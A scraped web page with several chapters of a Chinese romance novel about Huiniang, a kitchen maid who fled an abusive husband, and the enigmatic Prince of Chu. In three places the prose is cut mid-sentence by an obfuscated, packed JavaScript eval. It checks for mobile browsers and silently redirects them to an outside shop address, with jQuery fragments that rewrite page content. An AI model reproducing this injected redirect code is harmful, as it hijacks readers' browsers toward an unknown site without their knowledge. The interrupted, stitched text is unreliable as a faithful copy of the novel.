小桃捂着手臂,委屈兮兮地回去干活去了,其余人也一溜烟儿地跑了,只余下慧娘一人。 田芳询问她情况,慧娘还是原先的回答。“那些靠争宠为生的人浑身都是心眼子,你为人老实本分,应付不了那些人,那些事的。安心在厨房里干活,别想太多。”田芳提醒她。 “我知晓的。多谢大娘提醒指点。” 慧娘乖巧恭谨的模样令田芳很满意,正要再说几句,见管理园子的王二娘朝着这边走来,便作罢了。 王二娘来到二人跟前,和田芳打了招呼,寒暄几句,田芳便去做事了,留她们二人单独说会儿话。 王二娘将慧娘拉到一偏僻角落里,小声询问:“我方才看见你到锦瑟姑娘那屋里去了,怎么回事?” 慧娘将事情经过原原本本地告诉了王二娘,只是没说那晚上遇见楚王发生的事。 “你说你,平日里手脚也不笨,怎就当着王爷的面把盘子给摔碎了。”王二娘听着都替她后怕。 慧娘没法和她解释那件事,她当时认出楚王是自己救过的那个人,太过于震惊,才犯了错。 “好在王爷没有处置你。”王二娘抚了抚心口,叹道:“你也是走了狗屎运了,王爷当时应当心情很好,若遇到他不快的时候,你小命怕是留不住了。” 慧娘闻言又是庆幸又是后怕。 “王爷吃的那碗红豆薏米粥原来是你煮的。她不甘心功劳被姜桃姑娘拿去,便当着王爷的面捅破了这件事。” 慧娘点点头,“我也是这么认为的。” “我估摸着那锦瑟姑娘还想收买你,让你为她所用。” 慧娘又点点头,很是赞同:“是的,她当时还说我要是办事办得好,她还会给我赏赐。” 王二娘看着她一副憨厚老实样,没好气地伸手戳了戳她的脑袋,“你倒是一点都不觉得可惜,你那事要是办得好,没准以后就是王爷身边的大红人了,一场大富贵被你的笨手笨脚给毁了,真是可惜了。”王二娘越想越憋屈,又伸手戳了下她的头,“你可蠢死了。也罢,你这人一向没什么好运气,你就在厨房里老老实实地当烧火婢女吧。” 慧娘心里有些委屈,她方才还说她走了狗屎运呢。而且她不是因为蠢笨才失了这个机会,而是因为善举。 她那天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她父亲活着时他还没敢对她如何,父亲死后,他便愈发肆无忌惮了。父亲临死前,把田契屋契都交给她保管,叮嘱她千万别把它们给李元良,否则他死也不能瞑目。 她将它们藏在厨房灶炉底下的柴灰里,李元良从不会走进厨房,与她说什么君子远庖厨。 每当他说这话,慧娘心里都狠狠啐他一口,他就是懒罢了,她好歹能识几个字,他连自己的名字都不会写,好意思说什么君子远庖厨,丢死个人。 慧娘一开始不是没反抗过他的,可是她哪怕只是回嘴,他也会打她,她曾经告过官,官府不肯管,说这是他们夫妻之间的事,还让她当好贤妻,如此丈夫就不会打她了。她说丈夫吃喝嫖赌,惹是生非,不是好人,官府又斥责她,说她不该说丈夫坏话,这不是为人妻子该做的事。 从此之后,她便知晓求助官府无用了。很多次她看着李元良跟死猪一样的睡容,她都想用菜刀砍死他或者用枕头捂死他,可她又不敢,因为她不想死,她想活着。 官府不会因为她的遭遇同情她,只会指责她是杀夫的毒妇,听人说杀夫会被车裂。 车裂就是将人的头和四肢捆在五辆马车上,再抽打马使它们往不同地方跑,活活将人撕扯成五块,这过程比砍头更加可怕,她不知晓这是真是假,但每次想动手时,一想到会被车裂,她就害怕得不敢动手了。 后来被打的次数多了,她变得麻木,变得更加怯弱,完全不敢反抗李元良了。 直至有一次,她被他扼住脖子,无法呼吸,濒临死亡的那一刻,她脑子里产生一个念头:她不要死,她要逃!她一定要从这里逃出去! 也就是那个强烈的念头最终令她偷跑出来,进了王府当了烧火婢。 慧娘担心被村里人看见,等天擦黑才回了村子,还带了帷帽,遮住了头脸,她要趁着李元良不在,拿走田契和屋契。她当时走时匆匆,加上李元良一直在家,她不敢取出来,怕被李元良发现抢走。 慧娘回到家,见家门上了锁,便拿出钥匙打开了门。她不在,屋里乱糟糟的,到处都是灰,房梁墙角都是蜘蛛网。她有些嫌弃,但也没收拾,反正她明天一早就走了。油灯仅剩一点油,她也懒得点了,摸黑进了厨房,从灶炉柴灰里取出用一厚布包,打开一看,里面田契屋契还在,她松了一口气。 她起身正要离开厨房,忽听“砰”的一声,似有人推门进了正屋。慧娘心猛地一阵狂跳,只当李元良回来了,想找地方躲,但环顾四面根本无地方供一个大活人躲藏。她一咬牙,拿起厨房里的菜刀,刀刃冲上,她不想杀人,只想把人唬住就行。 她心惊胆战地走出厨房,蹑手蹑脚地来到正屋门前,往里探了下身子瞧了眼,见一人倒在地上一动不动。 她对李元良十分熟悉,那人不是他。她先是松一口气,想到或许是贼人,复又紧张。 她一时没敢进去,等了片刻,见那人还没动,这才鼓起勇气跨进门槛,小心翼翼地走到那人身旁,握紧手中菜刀。 新月模糊,借着泻进来的微光,她往他面上一看,内心一惊,怎么是他? 4. 第 4 章 慧娘家里的油灯仅剩一点油,昏昏欲灭,那微弱的光照着床上人洁净的面庞上,似轻云笼月,有股朦朦胧胧的美。 但慧娘没心思去欣赏他的美貌,她费了很大的劲儿才将他搬到床上,他一直没有醒,腹部的伤口裂开了,流了很多血,没办法她只能重新替他包扎了一番。 他要是再不醒来,她不知晓该怎么办才好,外头天已经彻底黑了,她没法给他找大夫,而且要是惊动了他人,他会有危险吧? 慧娘不理解,都说他在朝中翻手为云,覆手为雨,见皇帝都忌惮他,可她连着两次都碰到了受到重伤的他,身边也没有护他的人。 她有些怀疑,也许他并不是楚王,而是与楚王有着相同样貌的人,不论是那天在柴房里,还是在锦瑟姑娘的屋里,她都只匆匆看了一眼而已。 或许她真的认错人了。慧娘这样想着,不由俯身凑过去仔细看他的脸,这一看便再也挪不开眼睛了,他生得是真的好看,无法形容的好看。 慧娘怕李麻子,怕到对所有男人都心生排斥与畏惧,而对他这种美得雌雄莫辨,甚至更偏女相的男子,她却不会感到害怕,尽管她知晓这人也许本性残暴与毒辣。 他的肌肤光滑细嫩,像是剥了壳的鸡子,她脑子没回过劲儿来,手无意识地伸向他的面颊,想摸一摸是不是真像剥了壳的鸡子,但还没碰到他的脸,他那长长的睫毛颤动了下,紧接着便睁开了双眸。 慧娘吓得蓦然收回手,磕磕巴巴解释:“我……我没要做什么。”然而越解释越有股此地无银三百两的感觉,她低下头,指腹摸到自己掌心有些粗糙的茧子,忽然感到有些丢脸。 等了片刻,也没等到床上的人说话,慧娘不觉扬眼,却对上他投来的目光。 他只是静静地看着她,并不说话,眸光似月华般,乍看温柔似水,实则清冷疏离。慧娘有些别扭,下意识地错开目光。 他也移开了视线,缓缓抬起手,看了眼手上紧握的卷轴,又放下,然后闭上了双眸。 慧娘并不知晓他手上拿着的是什么,他一直紧紧地握着手里不肯放开,她抽都抽不出来,想来那是极其重要的东西。 因为这东西,他才会被人追杀吧?慧娘犹豫了下,小声开口:“你安心藏在这里,我不会告诉别人的。我已经把门闩上了,不会有人闯进来。” 他没回应她,像是睡着一般,但慧娘知晓他肯定还没睡着。 过了会儿,慧娘又开口:“你……你要喝水么。” 她平日里其实不爱说话,但此刻屋里只有他们二人,她有些不自在,手脚无处安放,嘴巴总忍不住想说点什么。 她其实很期待他开口和她说话,那怕只是一句话,可她的期待最终还是落空了。 他看起来很虚弱,或许是无力说话了吧?慧娘给他找了个借口,也让自己不那么尴尬。她站起身,默默地走到不远处的竹榻前,和衣躺下。 油灯“噗”地一下灭了,她扭头看了眼床上模糊不清的身形,暗想,他怎么刚好就跑到她家了呢?就像是……上天故意这么安排一般。 也许这真就是上天安排吧,他命贵,绝处能逢生,而她只是上天选中帮他度过难关的人,所以她只要完成使命即可,无需与他有任何交集往来。 想到此,慧娘释然了。她收回视线,望着黑漆漆的屋梁。这是她平日里睡觉的地方,她与李元良分床许久,她受不了他打雷般的呼噜声,而且李元良也嫌她木讷,他在外头有一个姘头,听说是一寡妇,妖妖调调,很有风情。相比之下,慧娘大概就是块木头,加上被他打怕了,他一碰她,她就吓得浑身哆嗦,跟遇见鬼似的,李元良便觉得她愈发无趣,只当她是个伺候自己饮食起居的玩意儿。 李元良在的时候,她每晚睡觉都不安稳,她做噩梦,梦和现实混淆,令她惶惶不可终日。 如今她真的彻底摆脱了李元良么?躺在竹榻上,她感觉那熟悉的阴霾再次缠绕在她周身,散不尽,赶不走,一点点地吞没她周围所有的光,将她拽入无底深渊。 她的神识跌入黑暗,她在黑暗中漫无目的前行,看到前方一点光,奔跑而去,然后便回到了儿时,她母亲还活着的时候。 母亲一手挎篮,一手拉着她的手,走在开满野花的田陌上,去给在田里耕作的父亲送朝食。母亲抚着她的头,笑着说舅舅今日会来家里吃饭。 舅舅是母亲的兄长,他们兄妹关系很好,舅舅常来她家走动,每次来不是给她带好吃的便是带好玩的。 她欢呼一声,在田陌里撒开了欢,像只自由自在的黄雀儿,可当她一回头找母亲时,母亲却不见了,绿油油的田野不见了,一条弯弯曲曲,杂草丛生的小路通向两间小木屋。 她认出那是她的家,她赶忙跑过去,一进门便看到母亲躺在床榻上,面色苍白憔悴,没了往日的精神气。 母亲生了病,父亲坐在床头,与母亲说要去请村里的神婆来看一看。 神婆来看了,说母亲中了邪,弄了一碗符水给她喝。她很着急,冲上前与父亲说,符水不能喝,要去请医,要去找舅舅来帮忙。可父亲却好像看不到她,也听不见她说话。 母亲喝了那符水,越喝越严重。几日后,神婆又来了,这次她说附在她母亲身上的鬼太厉害,要举行驱鬼仪式。 次日神婆找了好些穿着奇装异服的人,在她家门口胡乱跳一通。她穿梭在人群中,没一个人理会她,她只能干着急。 慧娘终于意识到这是自己的梦,可她醒不过来。她眼睁睁地看着她母亲形容枯槁,生命力一点点地流失殆尽,她看着她的方向,留恋不舍,用尽最后一丝力气叮嘱父亲,照顾好他们的女儿,之后便撒手人寰了。 而她作为女儿,却至始至终没有帮上一点忙。 舅舅得知了此事赶过来,将父亲骂得狗血淋头,又怪她不懂事,母亲生病也不知道去找他帮忙请医治病。 最终,舅舅与她家断绝关系,大哭着离去。 慧娘蓦然睁开双眸,天微微亮。她抚着隐隐作痛的头,从竹榻上爬起,忽想到什么,忙往床的方向看过去,那里空无人影。 慧娘出了屋门,环顾四处,也没看到人。 他一句话也没有与她说,便不辞而别了。兴许是早有预料,她内心很平静,也没有产生抱怨或者失望的情绪。 * * * 慧娘进了城。正值寒食节,街上十分热闹,行人如蚁,车马喧嚣,叫买叫卖声此起彼伏。 她一边走一边回想着昨夜的梦,心里沉甸甸的。 那时她已经九岁了,可她什么也不懂,直至及笄后,她才理解了舅舅对她和父亲的痛恨,如果当时家里不求助神婆,选择请医给母亲看病,她母亲也许现在还能好好活着。 每次只要回忆起这件事,慧娘内心便会感到沉痛懊悔,也没脸去见舅舅。 后来她听说舅舅一家搬至城里,但没两年舅舅也病故了。 舅舅下葬时,她去了,也是在那时,她见到了她的舅母王二娘。 舅母说,她舅舅临死前与她提起过她这外甥女,说她父亲是个拎不清的,她又早早没了母亲,将来只怕要受苦。 他还说她的母亲给他托过梦,在梦里她母亲叫他不要责怪她,她当时年纪还小,做不了主,只能听她父亲的。 走时,王二娘让她要是有困难,便来找她。 慧娘当时回了“是”,可她内心有愧,又不想增添别人的负担,再苦再累也没有找上门,直至那天起了逃跑的心思,她才终于舔着脸上门求了王二娘。 耳边突然传来喧嚣声,慧娘一抬眸,便看到一衣着鲜丽的女子站在街道中央,正捡起地上的帕子,一匹发了狂的那朝着她飞奔而来,等她回过头去看,那马已离她很近,不知是何原因,她站在那里一动不动。 慧娘看得惊心动魄,身体比脑子反应更快,飞快地冲过去抱住那女子,往旁扑去,二人齐齐摔地。 马匹的腥臊气息扑面而来,慧娘回过神,想到自己险些 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她笑问,笑容天真烂漫,纯粹美好,慧娘唇角不觉浮起丝淡淡的笑意,“慧娘,我叫慧娘。” 少女点点头,“姐姐可唤我凤仪,你这是要去哪里呀?” “我在楚王府做事,这会儿正要回去。”慧娘如实回答。 少女杏眸掠过丝惊讶之色,她扭头与自己的丫鬟对视一眼。慧娘正因为她的反应而惴惴,便听她道:“我们也是要去楚王府,姐姐,这真是缘分呢。”说着便冲着慧娘眨了眨眼。 慧娘内心很是诧异,她竟也是要去楚王府?看她打扮还是未出阁的少女,她这是要去找何人? “姐姐,莫不如我们一道走?”凤仪说完不等慧娘拒绝,便与小丫鬟道:“去叫人把轿子抬来。” 小丫鬟领命而去。 “还是别了,我自己走着回吧。”她虽帮了她,却也没想过要她回报自己,她只是府里的烧火婢,与她身份有别,同路而行只会令她拘谨无比。 “走着回多累了呀,还是坐轿子好,咱们还能说说话。我许久没去王府了,正想听一听府里最近发生了什么事呢?” 慧娘既不善言语,又不善拒绝人,这位天真无邪的少女热情得叫她招架不住。轿子抬来了,慧娘被她推进了轿子,就像是赶鸭子上架一般。 慧娘第一次坐轿子,很不自在,只觉得底下柔软舒适的绣垫好似有针扎自己,轿中还有一股很好闻的腻粉甜香,被这股香气裹着,她更加紧张拘谨,她怕自己把人家的轿子给弄脏了。 “姐姐,你在府里做什么的呀?”凤仪好奇地问。 慧娘如实回答:“在厨房烧火。” “单单烧火么?” “嗯。” 少女一脸懵懂,“我至今还不知晓王府的厨房长什么样呢。” 慧娘轻笑了笑,像她们这种养尊处优的娇娇小姐,当然不会进那种油污的地方。 “对了,现在府里是哪位美人儿受宠呀。”她说完不禁抬手掩唇,打了个哈欠,杏眼懒抬。 慧娘瞟了她一眼,心里猜着她的身份,但猜来猜去也猜不透,犹豫了下,才回: “好像是锦瑟姑娘和姜桃姑娘吧。” 少女已经昏昏欲睡,闻言轻哼一声,好像有些不高兴。 慧娘心咯噔一下,等了片刻,她也没说话,像是睡着了。 慧娘收回目光,小心翼翼地将窗帷拉上,遮住了光。她板板正正地坐着,闭眼养神,也没再去猜少女的身份,这些事与她无任何关系,她只是府里的烧火婢女罢了。 也不知道过了多久,外头传来小丫鬟清脆的声音:“小姐,到了。” 慧娘睁开眼睛,看向少女。 少女秀眉微颦,在小丫鬟的搀扶下,走出轿子。慧娘也跟着下去。 “楚王哥哥!” 慧娘猛地抬眼,便看到少女像是只活泼好动的黄莺儿一般,飞向大门口的人。 5. 第 5 章 慧娘看到那个昨夜没与她说过一句话,神色冷漠的男人目光落在少女的脸上,脸上露出抹轻柔的笑意。 “你怎么过来了?”他视线扫到慧娘这边,修眉微不可察地皱了下,他的目光并未在慧娘身上多做停留,便回到了少女身上。 “不是让你出门要带着李总管么?你怎么只带个小丫鬟?”明明很不满,他语气却甚是温柔,像是不舍得斥责她。 “他那人整日板着脸,又爱管东管西,这里不让去,那里不让去,无趣得很,我才不要他跟着呢。”她噘了噘樱桃小嘴,不停地抱怨,显然对那李总管积怨已久。 “看来你对他很是不满,既如此,我替你教训他一番。”赫连晔正色道。 凤仪怔了下,见他一脸严肃,不像是在说笑,便支支吾吾道:“倒……倒也不必吧,我自有办法收拾他。”她这位楚王哥哥啊,人虽美得跟仙子似的,可心肠狠啊,折磨人的手段多啊,不然人怎么都管他叫玉面阎罗呢。 她虽然没亲眼见过他是如何教训人的,但肯定很血腥,很残忍。她虽然不待见李总管,但也与他无仇无怨,还是别把他交到楚王哥哥手中了。 “他的职责是保护你的安全,如今他放你一人出来,便是失职,当受处罚。” 赫连晔唇角若有似无地扬起。 凤仪慌啊,注意不到他眸中透出的戏谑,慧娘却看见了,知晓他这是故意在吓唬她面前的小姑娘呢。 她笑了笑,她不知晓二人之间的关系,但看着他们二人站在一起,只觉得十分相称,不由多看了两眼。 赫连晔似不经意往她这边看了一眼,慧娘立刻慌张地低下头,她杵在这里似乎也没什么事,让人瞧着也奇怪,于是悄然离去。 慧娘这样的身份走不了正门,只能从侧面小门进府。 “其实也不怪他,我一碗茶将他放倒,偷偷跑出来的。”她有些心虚道。 赫连晔作无奈之色,“既然你替他求情,那便算了,但下不为例。” 凤仪这才松了一口气,而后忽然想起一事来,一回头,却不见慧娘的身影,“咦,人呢?楚王哥哥,你有没有看见方才站在哪里的姐姐?” “没有,是何人?”赫连晔问。 “她叫……”凤仪顿住,想了片刻,扭头问身边的小丫鬟:“那姐姐叫何名字来着?” 小丫鬟茫然地摇了摇头,“婢子忘了。” 凤仪气呼呼地瞪了她一眼,“你这脑子,除了吃,还记得什么?” 凤仪懊恼地看向赫连晔,“方才在街上差点被发狂的马撞到,幸得那姐姐相救,我听她说,她在府里的厨房打杂,便送了她一程。” 赫连晔神色微变,皱眉:“如此不小心,可有受伤?” “没事没事,一点事也没有。”凤仪担心他责怪自己身边的人,忙转移话题:“倒是那姐姐,她护了我,也不知道有没有受伤。” “以后出门带着李总管,否则便待在宅子不许再出门了。”赫连晔沉声道。 凤仪不想和他谈论那李总管了,继续岔开话:“我与你说那位姐姐呢,她救了我,难道我不应当报答她么?” 赫连晔微颔首,“我会让人给她一笔酬谢银。” 凤仪见他似乎不怎么在意,便抱怨道: “你日理万机,到时哪里记得住这件事?要不我把她带到我那边吧?在厨房烧火应该很辛苦的。” 赫连晔无奈一笑,“凤仪,此等小事别来烦我。我还有要事在身,你自己在府里玩吧,想回去便让弄影送你回去。” 赫连晔看向侍立身旁的弄影,“你不用跟我去了,跟着凤仪小姐。”言罢径自上了马车,扬长而去。 凤仪望着远去的马车,愤愤地一跺脚,这这么就是小事了?她要个人,他若是不答应,其他人也作不了主啊……他就是对她的事不上心,一点也不关心她。 凤仪越想越委屈,越想越气,眼睛都气红了。 * * * 慧娘一边往回走,一边想事情。她在想楚王到底是不是自己昨夜与她同处一屋檐的那名男子,他脸色看着很好,完全看不出受了伤。 应该是吧。这世上很少有长得一模一样的人吧?就算是双生子,容貌也会稍有差别吧? “慧娘!”小桃的声音从斜刺传来,“你怎么回来这么快?” 慧娘扭头看过去,见小桃独自一人在园子草丛里掏蟋蟀玩,便穿过月洞门,走过去,“办完事了。” 她凑过去瞧了瞧她掏的土洞,不觉笑了,“你这样是掏不出的。” 小桃问:“你知晓如何让它出来?” “若它还在洞里便能,只是需要点水。” 小桃是个急性子,闻言立刻去提了半桶水过来。慧娘让她将水灌进洞里,小桃照做了,不多一会儿,一只个头不小的蟋蟀便从土洞里钻了传来。 小桃一边将蟋蟀装进竹筒里,一边兴奋地夸赞,“慧娘,你真是厉害。” “只是儿时见人这么捉过蟋蟀罢了。”慧娘谦虚道。 二人洗净手,往到园子里的飞来椅一坐,吹着清凉的风,只觉得惬意无比。“平日里哪能如此悠闲?托了寒食节的福。” 小桃打开一油纸包,里面装着些许馓子,她递到慧娘面前,“是我姨母偷偷留给我的,你可别与人说啊。” 慧娘笑着点了点头,然后拿了一块。看着小桃吃了,她才跟着咬一口,入口酥脆香甜,回味无穷,正想和她夸这馓子好吃,却见她低垂着头,看着似有些失落的模样。 慧娘大概猜到几分缘由,小桃家离京甚远,家中贫困养不起她,便把她送来田芳这里,请她帮忙照看,如今正值寒食清明节,难免心生思乡之情。 慧娘嘴笨,不知道该如何安慰人,想了想,开口道: “你知晓凤仪小姐么?” 小桃有些诧异,“你怎么知道她?” 慧娘将在街上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153383|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生的事以及她送自己回来的事都告诉了小桃。小桃哪里还顾得着思乡,她一拍腿,哎呦一声,恨铁不成钢地瞪着慧娘。 “慧娘,你可知晓那凤仪小姐可是王爷最看重的人啊,锦瑟姑娘与姜桃姑娘虽然得宠,但也比不过凤仪小姐的!你真是白白浪费一个往上爬的机会!” 慧娘怔了怔,“我先前从未听说过她……” 小桃叹了口气,“这也不怪你。凤仪姑娘并不住在王府,而是住在王爷一私宅,她只是偶尔来王府走动一下。” 慧娘有些疑惑不解,听小桃这么说,那凤仪小姐似是王爷养在私宅的外室,可她明明是未出阁女子的打扮。 “凤仪小姐是王爷的什么人啊?”慧娘不觉问,问完了便隐隐感到后悔,这是别人私事,她不该问的。 “因为王爷很珍重凤仪小姐,但凡涉及到她的事,我们都不敢讨论的。不过既然你说说了她,我便告诉你,你别告诉其她人就行。”小桃神秘兮兮地道。 慧娘犹豫,“那还是不说了吧。” “别,你得听,以后要是再遇见凤仪小姐,你也小心一些,别说错话,别做错事。”说着便自顾自地说:“其实我也是听来的。听说凤仪小姐曾经救过王爷的性命,两人便私定了终身,凤仪小姐的父母逝世后,王爷便将她接到了私宅,又安排很多仆人伺候她,待她再大一些,便将她接回来成亲。” 他们二人看着挺般配的。”不过,她觉得凤仪小姐看起来很天真无邪,而楚王虽然看看着温柔随和,但那些传闻不可能都是假的吧? 相比高深莫测的楚王,慧娘其实更喜欢凤仪小姐,“可是王爷为何不将她接回王府居住?让孤身一个女子住在外面岂不是很危险?” “你傻啊。”小桃笑话她,“接回王府住,这事传出去对凤仪小姐清誉有碍啊。” 慧娘一时没想到这一层,她点点头,也不介意小桃说她傻。“可是王府的美人儿很多啊……”若是之前没见过凤仪,听了这些事情,她可能不会有太多想法,如今见到了她,看到她那样的明媚鲜丽,那样活泼动人,便忍不住有些替她抱不平。 小桃点点头,突然做出一副老气横秋的模样,“男人便是如此,虽然很爱一个女人,但也还会喜欢其他女人。” 慧娘看着她逗趣的模样,虽然觉得有些好笑,可她却笑不出来。她以前年纪小时,也和别的姑娘一样有怀春心思,李元良刚进她家门的时候,人生得周正,加上会好话哄人,她挺喜欢他,只是没想到他是人面兽心,活脱脱一个畜生来的。 自从李元良对她非打即骂后,她见到外头的男人都害怕,从不敢多看他们一眼,避之唯恐不及,至于楚王……他的脸生得太过好看,又偏女相,加上一开始不知晓他的身份,她对他倒是没有心生恐惧或者厌恶。 但愿他能够对凤仪小姐一直好下去。慧娘在心里祈祷,随即又觉得自己在这里瞎替人操心也挺可笑的,她自己的事还一团糟呢。 6. 第 6 章(二更) 是夜。乌云汇聚,狂风大作。 浴室内烟雾缭绕,纱幔轻扬。赫连晔靠在浴池壁上假寐,眉眼间有几分疲惫之态。 “王爷,水有些凉了。”一旁伺候的侍女非烟开口提醒,眉眼低垂,不敢直视他。 赫连晔睁眼,起身迈上浴池台阶。 他腹部缠着白布,虽瘦,却肌肉紧实,宽肩窄腰,若上面没有那些大大小小的陈旧伤痕,这绝对是一具完美无瑕的身体。 非烟拿过架子上的柔软袍子准备为他穿上,她面不改色地看着他身上的伤痕,却在不小心抬眼看到他的脸时,眸中浮起一抹慌色,忙低下眼睛。 赫连晔看到了,唇边浮起一不明意味的笑,而后将她挥退,“本王自己来,你出去吧。” 非烟诚惶诚恐地退下。 浴室内顷刻间静谧无声,只余他一人。 赫连晔立于镜前。镜中人的脸薄施脂粉,朱唇玉面,额间一朵桃花,妩媚妖娆。他神情淡漠地抬起两指,轻轻擦去那朵盛放的娇花。 窗外电光闪过,随即一声惊雷滚过,他目光微沉,心情仿佛裹上了一层浓重的雾霾,挥之不去,缠在人的心头,令人感到窒闷。 弄影捧着伤药与干净布条进来,见他只穿着裤子,裸着上身,沉默地坐在椅中,腹中缠裹的布条湿漉漉的,上面隐隐渗出血迹,她叹了口气:“王爷,您不该沐浴的。” 比起非烟,她看到赫连晔的脸时要淡定许多。 赫连晔不语,伸手解开缠裹伤口的布条,随手往旁桌子一丢,脑子里不合时宜地想起一些事,他低声淡淡道:“慧娘……那烧火丫鬟是叫慧娘?” 弄影拿药的手一顿,轻声回:“是的。” 前些天王爷从锦瑟姑娘那处归来,让她去查厨房烧火丫鬟的身世,她领命行事,将所查到的东西记录在册交给了他。 据她所知,那烧火丫鬟只是做了一碗红豆薏米粥,而那碗粥王爷根本没碰,是非烟吃的。她后来问非烟,非烟说那粥味道其实一般。 她不知晓王爷为何对一烧火丫鬟有了兴趣,也不敢去问,但作为他的心腹,她必须时时刻刻谨慎小心、耳听八方,自从王爷要她查慧娘的身世后,她便一直令人留意慧娘在府中的一举一动,对她的性情为人几乎已经摸透。 这女人老实且善良,相貌不丑,除此之外,找不到任何让人欣赏的长处,要说王爷青睐于她,似乎不大可能。 赫连晔目光落向窗外,电光闪过,恍如白昼,院子里那一大片妖红嫩白的牡丹寂寞地盛放着,从无人去欣赏,夜风拂进有暗香袭来,令他有些出神。 “把她叫过来。”赫连晔神色淡淡地收回视线。 弄影心中有些惊讶,却未敢表露出来,她小心翼翼地应声道:“奴婢这就去。”言罢悄无声息地退出浴室。 慧娘被叫醒的时候,整个人都是迷迷瞪瞪的,一脸严肃的小桃将她扯下床,告诉她王爷的侍女找她,慧娘脑子里的瞌睡虫顿时魂飞魄散,她即刻恢复清醒。 她匆匆穿好鞋与衣服,将头发梳顺些许,在小桃与菊花担忧的目光之下,出了门。 弄影提着纱灯,于屋门外等候,看到慧娘,目光上下打量她一眼,见无失礼之处,才引着她往赫连晔的住处去。 出了丫鬟的住处,穿过一片翠竹丛,进入一角门,紧接着又穿廊绕轩,行了一段鹅卵石路,来到一小门前,四周荒草葳蕤,树木森森。 小门上铁环闩了把锁,她用钥匙开了门,进去之后,又挂上了锁。 一道闪电劈下,周围白茫茫一片,看到那一簇又一簇国色天香的牡丹花以及前方那栋华美壮丽的建筑,慧娘便知晓这就是赫连晔的住处了。 果不其然,弄影提醒她:“到了。” 弄影应当是带她抄了近路,不然没么快能到王爷的住处。 一路走来,慧娘心里都很是忐忑,但她又不敢开口问弄影王爷找她有什么事。听了她的话,她只是很慎重地点点头,双手不自觉得紧紧抓着衣服。 弄影轻敲了门,得到回应后才推门而入。 室内灯光照耀得如同白昼,赫连晔以手撑头,懒懒地倚在榻上,半阖着眼眸,一头乌黑柔顺长发松松垮垮地半挽着,浑身透着疲乏之态。 “殿下,人已经带到。”弄影垂眸禀报。 赫连晔微睁开眼,神情冷淡地打量了眼慧娘,又冲着弄影挥了下衣袖,弄影立刻退下屋子,并轻手轻脚地掩上门。 屋内只有她与他。慧娘抬眸看了他一眼,脑子里只剩下了听到的那些关于他的传言,腿肚子打颤,不自觉地就跪了下去,她连张口说话都不会了,只将头埋得低低的。 赫连晔目光幽幽地瞟向跪在上瑟瑟发抖的人,片刻之后,才开口:“你救了凤仪,想要什么奖赏?” 这好像是他与自己说的第一句话,声音像是方才来时吹过她面庞的风,轻轻的,凉凉的。 慧娘担心他误会自己挟恩图报,忙解释:“王……王爷,我……我没想要奖赏。” 她话说得磕磕巴巴,浑身透着紧张、局促、恐慌,像是平日里那些犯了错误,跪在他面前战战兢兢的人,而他明明没有斥责他们,甚至也没有露出怒容。 他长身而去,随手拿起一旁的酒壶,往窗的方向走去。行走间轻盈飘然,若流风回雪。 “不想要奖赏的人,往往所图甚大。” 他轻飘飘地说了句,回眸看了她一眼,眸中寒芒毕露,似暗藏着锐利的箭矢。 慧娘想了很久,才懂得他的意思,她感到了冤枉,“我……我什么,什么也没图。” 她明明占理,可辩解的语气都那样的唯唯诺诺,不敢硬气。 她沮丧地低下头,有时候她很想肆意妄为、不管不顾地活一次,可是她总也做不到。 外头雷声仍旧不断,可就是不下雨,连老天爷都在压抑着,何况她呢?她为自己的软弱找了一个心安理得的借口。 “你知道老天为何光打雷,不下雨么?因为有人做了恶事,在遭受天谴。” 风透窗隙,裹着寒意随着他阴沉的话一起扑头盖脸朝着慧娘而来,使得她内心瞬间感到憋屈。 她好不容易找到的借口,却转眼间被他给毁坏。 他是指她做了恶事?她才没有,她还救过他两次,可他一句感激之话也没有,好像当做没发生一样。 该遭到天谴的人难道不是他?他坏事做尽,把权力当刀使,不高兴就要拿刀杀人。 她不该救他的,那天他闯进她的家,她不该留他,应该为民除害。 也许是因为救了一个恶人,所以她才要遭到天谴。 慧娘心头燃起一股久违的怒火,这种情绪曾经她有过,只是后来在李元良的淫威下消失殆尽,只剩下了麻木。 赫连晔看她忍气吞声的模样,忽然笑了起来,随后单腿屈膝坐于窗上,拎起酒壶仰头豪饮。 慧娘见状心中浮起第一个念头却是,受了伤是不能喝酒的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153384|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此念一起,她不禁在心底叹了口气,也许她先前的种种遭遇实属活该,怪不得别人。 “既不要奖赏,你可以走了。”赫连晔乜斜着眼看向她,淡漠地道。 慧娘问言顿时如蒙大赦,站起来,转身逃也似地离开。 赫连晔收回目光,仰头望着漆黑的苍穹,仰头又默默饮了一口酒。 弄影悄无声息地进来,一眼看过去,一袭白袍似轻云笼月,清冷中却带着不可攀折的疏离。 她小心翼翼地提醒他,伤未痊愈,不宜饮酒,早些休息为好。如她所料,赫连晔根本不理会她。 她们做侍女的,能做的只是劝,劝不听,也就随他了。 因为赫连晔的任性,第二日,本该去上朝的他,起不来床了。 午时,宫中来人。龙恩浩荡,无数珍贵补品如流水一般送至府中,随之而来的还有一道圣令。 